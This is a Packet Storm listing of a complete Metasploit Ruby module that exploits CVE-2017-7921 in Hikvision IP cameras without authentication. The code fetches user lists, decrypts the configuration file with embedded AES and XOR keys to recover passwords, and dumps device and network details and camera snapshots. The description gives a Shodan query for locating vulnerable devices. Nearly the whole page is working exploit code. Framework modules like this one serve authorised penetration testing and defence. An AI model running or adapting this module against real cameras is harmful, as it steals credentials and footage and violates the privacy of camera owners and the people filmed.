exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Hikvision IP Camera Information Disclosure

Hikvision IP Camera Information Disclosure
Posted Aug 31, 2024
Authored by Monte Crypto, h00die-gr3y | Site metasploit.com

Many Hikvision IP cameras have improper authorization logic that allows unauthenticated information disclosure of camera information, such as detailed hardware and software configuration, user credentials, and camera snapshots. The vulnerability has been present in Hikvision products since 2014. In addition to Hikvision-branded devices, it affects many white-labeled camera products sold under a variety of brand names. Hundreds of thousands of vulnerable devices are still exposed to the Internet at the time of publishing (shodan search: "App-webs" "200 OK"). This Metasploit module allows the attacker to retrieve this information without any authentication. The information is stored in loot for future use.

tags | exploit, web, info disclosure
advisories | CVE-2017-7921
SHA-256 | 1f5499387f298a518796e9593bfec804a68336af819f18d7706d318ae52db4d8

Hikvision IP Camera Information Disclosure

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary

require 'openssl'

prepend Msf::Exploit::Remote::AutoCheck

include Msf::Auxiliary::Report
include Msf::Exploit::Remote::HttpClient

# AES hex encryption key and XOR key defined constants used to decrypt the camare configuration file
AES_KEY = '279977f62f6cfd2d91cd75b889ce0c9a'.freeze
XOR_KEY = "\x73\x8b\x55\x44".freeze

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Unauthenticated information disclosure such as configuration, credentials and camera snapshots of a vulnerable Hikvision IP Camera',
'Description' => %q{
Many Hikvision IP cameras have improper authorization logic that allows unauthenticated information disclosure of camera information,
such as detailed hardware and software configuration, user credentials, and camera snapshots.
The vulnerability has been present in Hikvision products since 2014.
In addition to Hikvision-branded devices, it affects many white-labeled camera products sold under a variety of brand names.
Hundreds of thousands of vulnerable devices are still exposed to the Internet at the time of publishing (shodan search: "App-webs" "200 OK").
This module allows the attacker to retrieve this information without any authentication. The information is stored in loot for future use.
},
'License' => MSF_LICENSE,
'Author' => [
'Monte Crypto', # Researcher who discovered and disclosed this vulnerability
'h00die-gr3y <h00die.gr3y[at]gmail.com>' # Developer and author of this Metasploit module
],
'References' => [
[ 'CVE', '2017-7921' ],
[ 'PACKETSTORM', '144097' ],
[ 'URL', 'https://ipvm.com/reports/hik-exploit' ],
[ 'URL', 'https://attackerkb.com/topics/PlLehGSmxT/cve-2017-7921' ],
[ 'URL', 'http://seclists.org/fulldisclosure/2017/Sep/23' ]
],
'Actions' => [
['Automatic', { 'Description' => 'Dump all information' }],
['Credentials', { 'Description' => 'Dump all credentials and passwords' }],
['Configuration', { 'Description' => 'Dump camera hardware and software configuration' }],
['Snapshot', { 'Description' => 'Take a camera snapshot' }]
],
'DefaultAction' => 'Automatic',
'DefaultOptions' => {
'RPORT' => 80,
'SSL' => false
},
'DisclosureDate' => '2017-09-23',
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)

register_options([
OptBool.new(
'PRINT',
[
false,
'Print output to console (not applicable for snapshot)',
true
]
)
])
end

def get_info(uri)
password = Rex::Text.rand_text_alphanumeric(4..12)
auth = Base64.urlsafe_encode64("admin:#{password}", padding: false)
res = send_request_cgi({
'method' => 'GET',
'uri' => uri,
'vars_get' => {
'auth' => auth.strip
}
})
return res
rescue StandardError => e
print_error("#{peer} - Communication error occurred: #{e.message}")
elog("#{peer} - Communication error occurred: #{e.message}", error: e)
return nil
end

def report_creds(user, pwd)
credential_data = {
module_fullname: fullname,
username: user,
private_data: pwd,
private_type: :password,
workspace_id: myworkspace_id,
status: Metasploit::Model::Login::Status::UNTRIED
}.merge(service_details)

cred_res = create_credential_and_login(credential_data)
unless cred_res.nil?
print_status("Credentials for user:#{user} are added to the database...")
end
end

def decrypt_config
text_data = []

# Get AES128-ECB encrypted camera configuration file with user and password information
uri = normalize_uri(target_uri.path, 'System', 'configurationFile')
aes_data = get_info(uri)

if aes_data.nil?
print_error('Target server did not respond to the configuration file download request.')
elsif aes_data.code == 200
# decrypt configuration file data with the weak AES128-ECB encryption hex key: 279977f62f6cfd2d91cd75b889ce0c9a
decipher = OpenSSL::Cipher.new('aes-128-ecb')
decipher.decrypt
decipher.key = [AES_KEY].pack('H*') # transform hex key to 16 bits key
xor_data = decipher.update(aes_data.body) + decipher.final

# decode the AES decrypted configuration file data with xor key: 73 8B 55 44
file_data = Rex::Text.xor(XOR_KEY.b, xor_data)

# extract text chunks with regular expression below...
text_data = file_data.scan(%r{[0-9A-Za-z_\#~`@|\\/=*\^:"'.;{}?\-+&!$%()\[\]<>]+}x)
end
return text_data
end

def get_creds
loot_data = ''
pwd = nil

print_status('Getting the user credentials...')
uri = normalize_uri(target_uri.path, 'Security', 'users')
creds_info = get_info(uri)

if creds_info.nil?
print_error('Target server did not respond to the credentials request.')
elsif creds_info.code == 200
# process XML output and store output in loot_data
xml_creds_info = creds_info.get_xml_document
if xml_creds_info.blank?
print_error('No users were found in the returned CSS code!')
else
# Download camera configuration file and and decrypt
text_data = decrypt_config
loot_data << "User Credentials Information:\n"
loot_data << "-----------------------------\n"
xml_creds_info.css('User').each do |user|
unless text_data.empty?
# Filter out password based on user name and store credentials in the database
i = text_data.each_with_index.select { |text_chunk, _index| text_chunk == user.at_css('userName').content }.map { |pair| pair[1] }
if i.empty?
print_error("Could not retrieve password for user:#{user.at_css('userName').content} from the camera configuration file!")
else
pwd = text_data[i.last + 1]
report_creds(user.at_css('userName').content, pwd)
end
end
loot_data << "User:#{user.at_css('userName').content} | ID:#{user.at_css('id').content} | Role:#{user.at_css('userLevel').content} | Password: #{pwd}\n"
end
end
else
print_error('Response code invalid for obtaining the user credentials.')
end
unless loot_data.empty?
if datastore['PRINT']
print_status(loot_data.to_s)
end
loot_path = store_loot('hikvision.credential', 'text/plain', datastore['RHOSTS'], loot_data, 'credentials', 'leaked credentials')
print_good("User credentials are successfully saved to #{loot_path}")
end
end

def get_config
loot_data = ''

# Get device info
print_status('Getting the camera hardware and software configuration...')
uri = normalize_uri(target_uri.path, 'System', 'deviceInfo')
device_info = get_info(uri)

if device_info.nil?
print_error('Target server did not respond to the device info request.')
elsif device_info.code == 200
# process XML output and store in loot_data
xml_device_info = device_info.get_xml_document
if xml_device_info.blank?
print_error('No device info was found in the returned CSS code!')
else
loot_data << "Camera Device Information:\n"
loot_data << "--------------------------\n"
xml_device_info.css('DeviceInfo').each do |device|
loot_data << "Device name: #{device.at_css('deviceName').content}\n"
loot_data << "Device ID: #{device.at_css('deviceID').content}\n"
loot_data << "Device description: #{device.at_css('deviceDescription').content}\n"
loot_data << "Device manufacturer: #{device.at_css('systemContact').content}\n"
loot_data << "Device model: #{device.at_css('model').content}\n"
loot_data << "Device S/N: #{device.at_css('serialNumber').content}\n"
loot_data << "Device MAC: #{device.at_css('macAddress').content}\n"
loot_data << "Device firmware version: #{device.at_css('firmwareVersion').content}\n"
loot_data << "Device firmware release: #{device.at_css('firmwareReleasedDate').content}\n"
loot_data << "Device boot version: #{device.at_css('bootVersion').content}\n"
loot_data << "Device boot release: #{device.at_css('bootReleasedDate').content}\n"
loot_data << "Device hardware version: #{device.at_css('hardwareVersion').content}\n"
end
loot_data << "\n"
end
else
print_error('Response code invalid for obtaining camera hardware and software configuration.')
end

# Get network configuration
uri = normalize_uri(target_uri.path, 'Network', 'interfaces')
network_info = get_info(uri)

if network_info.nil?
print_error('Target server did not respond to the network info request.')
elsif network_info.code == 200
# process XML output and store in loot_data
xml_network_info = network_info.get_xml_document
if xml_network_info.blank?
print_error('No network info was found in the returned CSS code!')
else
loot_data << "Camera Network Information:\n"
loot_data << "---------------------------\n"
xml_network_info.css('NetworkInterface').each do |interface|
loot_data << "IP interface: #{interface.at_css('id').content}\n"
xml_network_info.css('IPAddress').each do |ip|
loot_data << "IP version: #{ip.at_css('ipVersion').content}\n"
loot_data << "IP assignment: #{ip.at_css('addressingType').content}\n"
loot_data << "IP address: #{ip.at_css('ipAddress').content}\n"
loot_data << "IP subnet mask: #{ip.at_css('subnetMask').content}\n"
xml_network_info.css('DefaultGateway').each do |gateway|
loot_data << "Default gateway: #{gateway.at_css('ipAddress').content}\n"
end
xml_network_info.css('PrimaryDNS').each do |dns|
loot_data << "Primary DNS: #{dns.at_css('ipAddress').content}\n"
end
end
end
loot_data << "\n"
end
else
print_error('Response code invalid for obtaining camera network configuration.')
end

# Get storage configuration
uri = normalize_uri(target_uri.path, 'System', 'Storage', 'volumes')
storage_info = get_info(uri)

if storage_info.nil?
print_error('Target server did not respond to the storage info request.')
elsif storage_info.code == 200
# process XML output and store in loot
xml_storage_info = storage_info.get_xml_document
if xml_storage_info.blank?
print_error('No storage info was found in the returned CSS code!')
else
loot_data << "Camera Storage Information:\n"
loot_data << "---------------------------\n"
xml_storage_info.css('StorageVolume').each do |volume|
loot_data << "Storage volume name: #{volume.at_css('volumeName').content}\n"
loot_data << "Storage volume ID: #{volume.at_css('id').content}\n"
loot_data << "Storage volume description: #{volume.at_css('storageDescription').content}\n"
loot_data << "Storage device: #{volume.at_css('storageLocation').content}\n"
loot_data << "Storage type: #{volume.at_css('storageType').content}\n"
loot_data << "Storage capacity (MB): #{volume.at_css('capacity').content}\n"
loot_data << "Storage device status: #{volume.at_css('status').content}\n"
end
end
else
print_error('Response code invalid for obtaining camera storage configuration.')
end
unless loot_data.empty?
if datastore['PRINT']
print_status(loot_data.to_s)
end
loot_path = store_loot('hikvision.config', 'text/plain', datastore['RHOSTS'], loot_data, 'configuration', 'camera configuration')
print_good("Camera configuration details are successfully saved to #{loot_path}")
end
end

def take_snapshot
jpeg_image = nil

# Take a snapshot and store as jpeg
print_status('Taking a camera snapshot...')
uri = normalize_uri(target_uri.path, 'Streaming', 'channels', '1', 'picture?snapShotImageType=JPEG')
res = get_info(uri)

if res.nil?
print_error('Target server did not respond to the snapshot request.')
elsif res.code == 200
jpeg_image = res.body
else
print_error('Response code invalid for obtaining a camera snapshot.')
end
unless jpeg_image.nil?
loot_path = store_loot('hikvision.image', 'jpeg/image', datastore['RHOSTS'], jpeg_image, 'snapshot', 'camera snapshot')
print_good("Camera snapshot is successfully saved to #{loot_path}")
end
end

def check
uri = normalize_uri(target_uri.path, 'System', 'time')
res = get_info(uri)

if res.nil?
return Exploit::CheckCode::Unknown
elsif res.code == 200
return Exploit::CheckCode::Vulnerable
else
return Exploit::CheckCode::Safe
end
end

def run
case action.name
when 'Automatic'
print_status('Running in automatic mode')
get_creds
get_config
take_snapshot
when 'Credentials'
get_creds
when 'Configuration'
get_config
when 'Snapshot'
take_snapshot
end
end
end
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    63 Files
  • 14
    Nov 14th
    18 Files
  • 15
    Nov 15th
    8 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    18 Files
  • 19
    Nov 19th
    7 Files
  • 20
    Nov 20th
    13 Files
  • 21
    Nov 21st
    6 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close